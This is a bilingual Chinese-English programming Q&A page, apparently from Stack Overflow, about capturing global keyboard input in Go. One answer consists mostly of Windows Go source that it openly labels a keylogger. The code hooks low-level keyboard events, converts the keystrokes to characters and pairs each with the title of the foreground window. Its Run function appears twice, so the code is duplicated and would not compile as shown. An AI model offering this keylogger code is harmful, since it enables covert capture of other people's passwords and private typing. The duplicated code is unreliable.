英文:
Global Keyboard Input Go
问题
Go语言提供了一种监听全局键盘输入的方法吗?类似于键盘记录器(尽管这不是我的目的),它可以在焦点在其自身上下文之外时捕获输入。
理想情况下,它应该是跨平台的,但如果只支持Windows也可以。
我的最终目标是创建一个跨平台的工具,不需要运行时环境,允许您注册全局键盘快捷键以调用应用内的JavaScript函数(主要是控制Google音乐)。这将通过一个Chrome扩展连接到Golang应用中的socket.io连接,并使应用向扩展发送命令来实现。
英文:
Does Go provide a way to listen to global keyboard inputs? Essentially like a keylogger (however that's not my purpose) where it captures input if the focus is outside its own context.
Ideally it would be cross platform, but if not Windows only would work as well.
My end goal is a tool that is cross platform, doesn't require a runtime, that allows you to register global keyboard shortcuts to in app javascript invocations (mainly control Google Music). It'll be done by having a Chrome extension connect to a socket.io connection in the Golang app, and having the app then feed commands to the extension.
答案1
得分: 1
捕获应用程序上下文之外的键盘输入是与平台相关的。Go语言特别没有与这些API绑定的功能。
Mac OS X有一个名为event taps的Objective-C API。Windows有一个名为RegisterHotKey的C++函数,尽管我对Windows的API不太熟悉。
可能有一些工具包/框架可以实现跨平台的功能,但目前在Go语言中还没有这样的工具包。如果你在C语言中找到了相关工具包,你可以使用cgo将其与Go语言结合起来。
也许你正在过度复杂化问题?这里有一个页面here,描述了如何为Chrome扩展添加键盘快捷键。
英文:
Capturing keyboard input outside the context of the application is platform specific. Go specifically does not have bindings to these APIs.
Mac OS X has an Objective-C API called event taps. Windows has C++ function RegisterHotKey, although I am less familiar with Windows APIs.
There may be toolkits / frameworks that allow you to do this cross-platform, but there currently aren't any in Go. If you find any in C, you may be able to hook it into Go using cgo.
Perhaps you are over-complicating things? There is a page here that describes adding keyboard shortcuts for a Chrome extension.
答案2
得分: 0
我写了一篇关于如何在Golang中创建键盘记录器的博客文章。希望对你有所帮助。
你可以查看这个库go-hook。
首先,初始化一个缓冲通道来存储键盘事件,然后使用keyboard.Install()安装低级键盘钩子。
使用defer在函数返回时卸载钩子。然后,在一个无限循环中,使用GetForegroundWindow()获取当前前台窗口,并在按下键时将键发送到key_out通道,将窗口名称发送到window_out通道。
英文:
I wrote a blog post about how to create keylogger in golang. I hope it can be of any help to you.
check out the library go-hook
// package keylogger... it's a keylogger.
package keylogger
import (
"fmt"
"os"
"os/signal"
"syscall"
"unsafe"
"github.com/moutend/go-hook/pkg/keyboard"
"github.com/moutend/go-hook/pkg/types"
"golang.org/x/sys/windows"
)
var (
mod = windows.NewLazyDLL("user32.dll")
procGetKeyState = mod.NewProc("GetKeyState")
procGetKeyboardLayout = mod.NewProc("GetKeyboardLayout")
procGetKeyboardState = mod.NewProc("GetKeyboardState")
procToUnicodeEx = mod.NewProc("ToUnicodeEx")
procGetWindowText = mod.NewProc("GetWindowTextW")
procGetWindowTextLength = mod.NewProc("GetWindowTextLengthW")
)
type (
HANDLE uintptr
HWND HANDLE
)
// Gets length of text of window text by HWND
func GetWindowTextLength(hwnd HWND) int {
ret, _, _ := procGetWindowTextLength.Call(
uintptr(hwnd))
return int(ret)
}
// Gets text of window text by HWND
func GetWindowText(hwnd HWND) string {
textLen := GetWindowTextLength(hwnd) + 1
buf := make([]uint16, textLen)
procGetWindowText.Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(&buf[0])),
uintptr(textLen))
return syscall.UTF16ToString(buf)
}
// Gets current foreground window
func GetForegroundWindow() uintptr {
proc := mod.NewProc("GetForegroundWindow")
hwnd, _, _ := proc.Call()
return hwnd
}
// Runs the keylogger
func Run(key_out chan rune, window_out chan string) error {
// Buffer size is depends on your need. The 100 is placeholder value.
keyboardChan := make(chan types.KeyboardEvent, 100)
if err := keyboard.Install(nil, keyboardChan); err != nil {
return err
}
defer keyboard.Uninstall()
signalChan := make(chan os.Signal, 1)
signal.Notify(signalChan, os.Interrupt)
fmt.Println("start capturing keyboard input")
for {
select {
case <-signalChan:
fmt.Println("Received shutdown signal")
return nil
case k := <-keyboardChan:
if hwnd := GetForegroundWindow(); hwnd != 0 {
if k.Message == types.WM_KEYDOWN {
key_out <- VKCodeToAscii(k)
window_out <- GetWindowText(HWND(hwnd))
}
}
}
}
}
// Converts from Virtual-Keycode to Ascii rune
func VKCodeToAscii(k types.KeyboardEvent) rune {
var buffer []uint16 = make([]uint16, 256)
var keyState []byte = make([]byte, 256)
n := 10
n |= (1 << 2)
procGetKeyState.Call(uintptr(k.VKCode))
procGetKeyboardState.Call(uintptr(unsafe.Pointer(&keyState[0])))
r1, _, _ := procGetKeyboardLayout.Call(0)
procToUnicodeEx.Call(uintptr(k.VKCode), uintptr(k.ScanCode), uintptr(unsafe.Pointer(&keyState[0])),
uintptr(unsafe.Pointer(&buffer[0])), 256, uintptr(n), r1)
if len(syscall.UTF16ToString(buffer)) > 0 {
return []rune(syscall.UTF16ToString(buffer))[0]
}
return rune(0)
}
func Run(key_out chan rune, window_out chan string) error {
// Buffer size is depends on your need. The 100 is placeholder value.
keyboardChan := make(chan types.KeyboardEvent, 1024)
if err := keyboard.Install(nil, keyboardChan); err != nil {
return err
}
defer keyboard.Uninstall()
signalChan := make(chan os.Signal, 1)
signal.Notify(signalChan, os.Interrupt)
fmt.Println("start capturing keyboard input")
for {
select {
case <-signalChan:
fmt.Println("Received shutdown signal")
return nil
case k := <-keyboardChan:
if hwnd := GetForegroundWindow(); hwnd != 0 {
if k.Message == types.WM_KEYDOWN {
key_out <- VKCodeToAscii(k)
window_out <- GetWindowText(HWND(hwnd))
}
}
}
}
}
First initialize a buffered channel to store keyboard events then install the low level keyboard hook using keyboard.Install().
defer uninstallation of the hook so that it gets uninstalled when the function returns. Then in an infinite for loop get the foreground window using GetForegroundWindow() and when a key is pressed send the key to the key_out channel and the window name to window_out channel.
通过集体智慧和协作来改善编程学习和解决问题的方式。致力于成为全球开发者共同参与的知识库,让每个人都能够通过互相帮助和分享经验来进步。
评论